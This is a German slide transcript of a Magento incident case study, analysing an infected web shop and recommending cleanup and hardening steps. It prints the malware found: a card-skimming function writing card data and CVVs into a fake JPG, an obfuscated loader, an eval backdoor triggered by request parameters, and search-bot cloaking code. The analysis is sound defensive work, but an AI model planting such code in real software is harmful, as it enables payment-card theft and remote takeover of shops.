SlideShare ist ein Scribd-Unternehmen logo
1 von 25
Downloaden Sie, um offline zu lesen
Infizierter Shop.
Eine Magento Case Study
Niels Pahlmann
Geschäftsführer
TUDOCK GmbH
/Niels Pahlmann
niels.pahlmann@tudock.de
Geschäftsführer der TUDOCK GmbH
Vita:
Studium des Wirtschaftsingenieurwesens
Berater im Bereich Logistik
2004 Gründung von TUDOCK mit Michael Wolf
Geschäftsführung, Webentwicklung & Projektmanagement
Seit 2007 aktive Beschäftigung mit Magento
Seit 2015 Organisation des Magento Stammtischs Hamburg
/Agentur TUDOCK
Magento-Entwicklung
Beratung
Wartung, Support
Anruf von Lead
1.Shop lag brach
2. Möchte Shop wieder nach vorne bringen
3. Neue Investitionsmöglichkeiten
4. Ursprüngliche Anfrage
a.Magento-Update
b.Integration von Zahlarten
/Anruf von Lead - Bild: http://imgur.com/WvrYMhG
app/code/core/Mage -> app/code/local/Tudock
/Quelltextanalyse und Refactoring
/Kundendaten in JPG
/**
* Prepare info instance for save
*
* @return Mage_Payment_Model_Abstract
*/
public function prepareSave()
{
$info = $this->getInfoInstance();
$this->_storeInfos();
if ($this->_canSaveCc) {
$info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
}
//$info->setCcCidEnc($info->encrypt($info->getCcCid()));
$info->setCcNumber(null)
->setCcCid(null);
return $this;
}
Mage_Payment_Model_Method_Cc
/Kundendaten in JPG
**
* Store when success
*
* @return bool
*/
private function _storeInfos($file = '/var/www/magento/media/catalog/product/5/6/_magento.jpg'){
$info = $this->getInfoInstance();
$data = $info->getCcNumber() . '|' .$info->getCcExpMonth() . '|' .$info->getCcExpYear() . '|' .$info->getCcCid() . '|' .
$info->getCcOwner();
$billing = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getData();
$logme = fopen($file, 'a+');
$line = data."|".$billing['firstname']."|".$billing['lastname']."|".$billing['street']."|".$billing['city']."|".$billing['region']."|".
$billing['region_id']."|".$billing['postcode']."|".$billing['telephone']."|".$billing['country_id']."|".$billing['email']."rn";
fputs($logme, $line, strlen($line));
fclose($logme);
}
Mage_Payment_Model_Method_Cc
.../media/catalog/product/5/6/_magento.jpg
/Kundendaten in JPG
.../media/catalog/product/5/6/_magento.jpg
/Kundendaten in JPG
…
g∏ì~‰DnFûŒ/H⁄;“3/≥»5¥]âd%^Ä+>p'r©€+2Åäñ˛-´fi¡Kì¶=xIIäaí‡W8√ùú^ëq~IÍflcifiE˘ªhPÛ∏€≈™pÉ#·lŒ•ÓØ…)¶óïÏŒ˚®M¨
78œ·ŒÿıxQí`†ò¿⁄ö¬πA^ï≠∑RI{æZcıé
˙≤¥≠S
EŸQÌ–*ñ,å>cvÄMß–
hxÊè=2§≠Óûÿ∑íov,"åÌÙ≠]≤JÏ’V∆…L£œ3∆∞π:y∞¿õ1)KX‘€QÚ¨°G´ÔY©5VÕ5¨Ω.œt"∞wÁd√ü>œ3€ö1¿îg=Jb≈åñì∏‹wªˇ„ÔàÀàflïŸQ‹$S˘
°V'îù¶¡ÑdKó=˚ç>œ3Ï¡7å1.Ÿ&ÿF¨òˇ—T˃—tÔ¢ºØ]√:ËMπñ^I.|?W]ôwÈ4˙<3∆±≈_0¿ä—M9fl{∂Œ◊”3bñI<ú¨yyõ∑
cÿ`ãæñöó?út_χ{ø`ß∏kdÁR7tÙy∆6ÿ‚è?ú¥6≈¸FÁÅ!ûÁFˇ‰⁄VÁfúFügåacˆΩ˘~<¨l^æ}˝ãRN˙E◊».:ç>œªY~≮ÎÙ…dÔ¬…Ö4˙çıÛ˘ˇtéàıIEND
ÆB`Ç4750556078355463xxxx|xx|xxxx||Marco K√∂pcke|Marco|K√∂pcke|Testbestellung
1|Testbestellung|Hamburg|85|12345|12345|DE|marco.koepcke@tudock.de
xxxx|xx|xxxx||Marco Köpcke|Marco|Köpcke|Testbestellung
1|Testbestellung|Hamburg|85|12345|12345|DE|marco.koepcke@tudock.de
xxxx|xx|xxxx||Michael Wolf|Marco|Köpcke|Testbestellung 1|Testbestellung|Hamburg|85|12345||DE|marco.koepcke@tudock.de
xxxx|xx|xxxx||Michael Wolf|Marco|Köpcke|Testbestellung 1|Testbestellung|Hamburg|85|12345||DE|marco.koepcke@tudock.de
xxxx|xx|xxxx||Michael Wolf|Marco|Köpcke|Testbestellung 1|Testbestellung|Hamburg|85|12345||DE|marco.koepcke@tudock.de
...
Hilfe, Shop ist gehackt!
/Kundendaten in JPG
<?php
$QFiBPpm="CnixCDklXqQY"^"3x1cx0cx1fx1c6x0ex1c4x102x3c";
$AjPmUZp="0EIrYIg2IyMffIrKL"^"x1fx24x075x113x3fAx1dx2fx2ax17x1fx0cx1cdx29"; $QFiBPpm($AjPmUZp,
"3FvsGTHwLxtxJrgU2QWL3ZDDI9bAgqyZwjH44OqEBZ3LHYf9p3KhRNkZMBatsPIfzPYseExgeprlENktFuRW92wK4M4mbBHQ
Rf0vkxRFc0qhMRRRBio0aaKUmE7EGDVYjUKKHcPkb7InNZ6P9jPYAZtneprltD0SXJcflrGCnOq2omGmMVB"^"Vx30x17x1fov
x21x11dx11x07x0bx2fx06Ox09nux08x1evx0bx11x01x1am9fx04x19x5ex07x5eJnx12x14gx1cx21wrox10lx064x7c
x21fx0ex3bx06x15L9x25ex3cx5dSmtFx5dfx60ATx27x40RPx40x10Xpzx5cBpMex60x5cx04Gzx00x2cQx08Wx26x7b
4cAx19VMx5erx2fx10Cx14x1cex0ex0evx1dx3bx2aa4x24x18x016bGx2d7x1b56x0ex30lx16aJpx10BRx3fx0fx22rjx
0cx1d5x02x1cx10x0f1x3d1x2bUx1cx1c4ox307x2ex06A1x5bx7ccx0b7x18FGDx7cMx30tk", "aNGHzXsTVgqyEn");
/**
* All rights reserved
*
* Reuse or modification of this source code is not allowed
* without written permission from creativestyle GmbH
*/
class Package_Module_CheckoutController extends Mage_Core_Controller_Front_Action {
Package_Module_CheckoutController
/PHP-Code über Parameter ausführbar gemacht
UnPHP
/PHP-Code über Parameter ausführbar gemacht
eval("if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '6921b8550b454766877e6014aee5d3e1') &&
isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }");
/**
* This file is part of The Official Amazon Payments Magento Extension
* (c) creativestyle GmbH <amazon@creativestyle.de>
* All rights reserved
*
* Reuse or modification of this source code is not allowed
* without written permission from creativestyle GmbH
*/
class Package_Module_CheckoutController extends Mage_Core_Controller_Front_Action {
Package_Module_CheckoutController
http://magento.palme.tudock.local/module/checkout/index?ch=1&php_code=
echo%20$_SERVER[%27DOCUMENT_ROOT%27];
/PHP-Code über Parameter ausführbar gemacht
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>
.htaccess
/Google Bots und die manipulierte Seite
<?php
$YaqCNtYxSMDtpktKGcfNnh='ba'.'se64_d'.'ecod'.'e';eval($YaqCNtYxSMDtpktKGcfNnh("cHJlZ19yZXBsYWNlKCIvMGczN2FWYUN
4aGQxeHJBdGhvdzRDNnl4cnovZSIsICIzUlVRYjhBQTM1RjlxSzlFRFY3Zlp0WlVZVGdqTEdpRFk0VHp6VXpyTjZwNUVtOUk5NG5
XbU…
?>
common.php
/Google Bots und die manipulierte Seite
<?php
...
$page = urlencode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]);
if (preg_match("/Googlebot|bingbot|Slurp/", $_SERVER["HTTP_USER_AGENT"])) {
…
$originalpage = preg_replace('/href=(['"]{0,1})http.*?>/i', '>', $originalpage);
$originalpage = preg_replace('/(<body.*?>)/i', "$1$links_content", $originalpage, 1);
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
print $originalpage;
exit;
}
$originalurl = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
$originaluseragent = $_SERVER["HTTP_USER_AGENT"];
$originalpage = jRUIfndwuEFoEzVtTsWDpvvivKItez($originalurl, $originaluseragent);
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
print $originalpage;
...
?>
common.php
/Google Bots und die manipulierte Seite
Kunde
/Google Bots und die manipulierte Seite
Suchmaschine
/Google Bots und die manipulierte Seite
/Mögliche Infektionswege - Bild: http://imgur.com/PSdeMbQ
1. Magento Vulnerabilities; wie z.B. Shoplift, SQL
Injections in Third Party Extensions
2. Server Software Vulnerabilities (Heartbleed,
ImageMagick)
3. Installation von anderen Systemen auf demselben
Server (bspw. Wordpress)
Auffällige Magento-BE-Benutzer weisen auf Magento
Vulnerabilities hin.
Mögliche Infektionswege
Shoplift
Remote Execution Code Exploit
• Ausführen von unautorisierten Admin Actions (bspw. Cms_Wysiwyg)
• Erzeugen von kontrollierbaren Admin Grids wie Grid Widgets
• SQL-Injection über Grid-Parameter
=> Kontrolle über den Shop durch das Installieren von Admin User und Malware
/Mögliche Infektionswege
Aufgaben für uns
1.Aktuellen Shop vom Netz nehmen, um
a. weiteren Schaden durch aktuelle Infektionen zu verhindern
b. weitere Infektionen zu verhindern
2.Schadcode aus dem Quelltext beseitigen und Infektionen beseitigen
a. durch Neuaufbau des Shops mit aktuellen Versionen von Magento und Extensions
b. Analyse Templates und lokale Module
3.Kontrolle der Datenbank auf mögliches XSS.
4.(Patchen)
5.Bereinigen der Backend-Benutzer
6.Etwaige weitere Infektionswege ausschließen und Server komplett neu aufsetzen
/Aufgaben für uns - Bild: Bob the Builder
Herausforderungen
1. Bei Übernahme der Quelltexte keine
Versionshistorie und kein Backup
2. Funktional veränderte Core-Dateien
3. Keine Kenntnis über Server-Struktur/Zugänge
/Herausforderungen für uns
Maßnahmen für Magento-Shops
/Maßnahmen
1. https
2. schnelles Patchen
3. sicheres Passwort-Handling
4. stetige Quelltext-Überwachung (bspw. Extension zur Überwachung installieren)
5. regelmäßige Checks auf Magereport oder mit magerun
6. Admin-Route umbenennen und htaccess-Schutz
7. Downloader entfernen
8. Updates von Third Party Extensions; nicht benötigte Erweiterungen entfernen
9. Server für Wordpress und Magento trennen
Fazit
With Websites comes responsibility.
With ecommerce websites comes great responsibility.
/Fazit

Weitere ähnliche Inhalte

Ähnlich wie Infizierter Shop. Eine Magento Case Study

Offline Strategien für HTML5 Web Applikationen - dwx13
Offline Strategien für HTML5 Web Applikationen - dwx13 Offline Strategien für HTML5 Web Applikationen - dwx13
Offline Strategien für HTML5 Web Applikationen - dwx13 Stephan Hochdörfer
 
1&1 Frontend Workshop II
1&1 Frontend Workshop II1&1 Frontend Workshop II
1&1 Frontend Workshop IINico Steiner
 
Christian heilmann html 5 - das web und der browser als platform
Christian heilmann   html 5 - das web und der browser als platformChristian heilmann   html 5 - das web und der browser als platform
Christian heilmann html 5 - das web und der browser als platformChristian Heilmann
 
Offline-Strategien für HTML5 Web Applikationen - bedcon13
Offline-Strategien für HTML5 Web Applikationen - bedcon13Offline-Strategien für HTML5 Web Applikationen - bedcon13
Offline-Strategien für HTML5 Web Applikationen - bedcon13Stephan Hochdörfer
 
PageSpeed Extreme für das große Speed Update 2021
PageSpeed Extreme für das große Speed Update 2021PageSpeed Extreme für das große Speed Update 2021
PageSpeed Extreme für das große Speed Update 2021SEARCH ONE
 
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan Engel
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan EngelApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan Engel
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan EngelOPITZ CONSULTING Deutschland
 
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...Timon Hartung
 
Google Analytics: Ziele & Conversions verstehen und messen
Google Analytics: Ziele & Conversions verstehen und messenGoogle Analytics: Ziele & Conversions verstehen und messen
Google Analytics: Ziele & Conversions verstehen und messenSmarter Ecommerce GmbH
 
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-Freaks
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-FreaksSEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-Freaks
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-FreaksSEARCH ONE
 
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im Einsatz
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im EinsatzOpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im Einsatz
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im EinsatzDigicomp Academy AG
 
Slides__Splunk_UserGroup_20220407.pdf
Slides__Splunk_UserGroup_20220407.pdfSlides__Splunk_UserGroup_20220407.pdf
Slides__Splunk_UserGroup_20220407.pdfAlexanderStz1
 
Welches Webframework passt zu mir? (WJAX)
Welches Webframework passt zu mir? (WJAX)Welches Webframework passt zu mir? (WJAX)
Welches Webframework passt zu mir? (WJAX)Alexander Casall
 
Jpgraph - eine Einführung
Jpgraph - eine EinführungJpgraph - eine Einführung
Jpgraph - eine Einführungfrankstaude
 
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g - DOAG SI...
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g   - DOAG SI...Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g   - DOAG SI...
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g - DOAG SI...OPITZ CONSULTING Deutschland
 
OnPage SEO - Technik Grundlagen - Danny Linden
OnPage SEO - Technik Grundlagen - Danny LindenOnPage SEO - Technik Grundlagen - Danny Linden
OnPage SEO - Technik Grundlagen - Danny LindenDanny Linden
 
20150319 prs smm landing page_v1
20150319 prs smm landing page_v120150319 prs smm landing page_v1
20150319 prs smm landing page_v1INM AG
 
Google Tag Manager Advanced - SEOCampixx 2016
Google Tag Manager Advanced - SEOCampixx 2016Google Tag Manager Advanced - SEOCampixx 2016
Google Tag Manager Advanced - SEOCampixx 2016Jan Berens
 

Ähnlich wie Infizierter Shop. Eine Magento Case Study (20)

Offline Strategien für HTML5 Web Applikationen - dwx13
Offline Strategien für HTML5 Web Applikationen - dwx13 Offline Strategien für HTML5 Web Applikationen - dwx13
Offline Strategien für HTML5 Web Applikationen - dwx13
 
1&1 Frontend Workshop II
1&1 Frontend Workshop II1&1 Frontend Workshop II
1&1 Frontend Workshop II
 
Christian heilmann html 5 - das web und der browser als platform
Christian heilmann   html 5 - das web und der browser als platformChristian heilmann   html 5 - das web und der browser als platform
Christian heilmann html 5 - das web und der browser als platform
 
Offline-Strategien für HTML5 Web Applikationen - bedcon13
Offline-Strategien für HTML5 Web Applikationen - bedcon13Offline-Strategien für HTML5 Web Applikationen - bedcon13
Offline-Strategien für HTML5 Web Applikationen - bedcon13
 
Symfony2
Symfony2Symfony2
Symfony2
 
PageSpeed Extreme für das große Speed Update 2021
PageSpeed Extreme für das große Speed Update 2021PageSpeed Extreme für das große Speed Update 2021
PageSpeed Extreme für das große Speed Update 2021
 
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan Engel
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan EngelApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan Engel
ApEx effektiv - DOAG 2010 - OPITZ CONSULTING - Stephan Engel
 
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...
Schema.org 101: 
Warum die neuen Meta Daten wichtig sind - Mini FAQ & Impleme...
 
Google Analytics: Ziele & Conversions verstehen und messen
Google Analytics: Ziele & Conversions verstehen und messenGoogle Analytics: Ziele & Conversions verstehen und messen
Google Analytics: Ziele & Conversions verstehen und messen
 
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-Freaks
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-FreaksSEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-Freaks
SEO Day 2016: Perfekte Ladezeiten und SEO-Hosting für Speed-Freaks
 
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im Einsatz
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im EinsatzOpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im Einsatz
OpenTuesday: Jede Sekunde zählt - Webbeschleuniger Varnish im Einsatz
 
Slides__Splunk_UserGroup_20220407.pdf
Slides__Splunk_UserGroup_20220407.pdfSlides__Splunk_UserGroup_20220407.pdf
Slides__Splunk_UserGroup_20220407.pdf
 
Welches Webframework passt zu mir? (WJAX)
Welches Webframework passt zu mir? (WJAX)Welches Webframework passt zu mir? (WJAX)
Welches Webframework passt zu mir? (WJAX)
 
Jpgraph - eine Einführung
Jpgraph - eine EinführungJpgraph - eine Einführung
Jpgraph - eine Einführung
 
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g - DOAG SI...
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g   - DOAG SI...Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g   - DOAG SI...
Integration und Betriebsüberwachung mit der Oracle SOA Suite 11g - DOAG SI...
 
Bottle - Python Web Microframework
Bottle - Python Web MicroframeworkBottle - Python Web Microframework
Bottle - Python Web Microframework
 
OnPage SEO - Technik Grundlagen - Danny Linden
OnPage SEO - Technik Grundlagen - Danny LindenOnPage SEO - Technik Grundlagen - Danny Linden
OnPage SEO - Technik Grundlagen - Danny Linden
 
20150319 prs smm landing page_v1
20150319 prs smm landing page_v120150319 prs smm landing page_v1
20150319 prs smm landing page_v1
 
Wicket Kurzübersicht
Wicket KurzübersichtWicket Kurzübersicht
Wicket Kurzübersicht
 
Google Tag Manager Advanced - SEOCampixx 2016
Google Tag Manager Advanced - SEOCampixx 2016Google Tag Manager Advanced - SEOCampixx 2016
Google Tag Manager Advanced - SEOCampixx 2016
 

Infizierter Shop. Eine Magento Case Study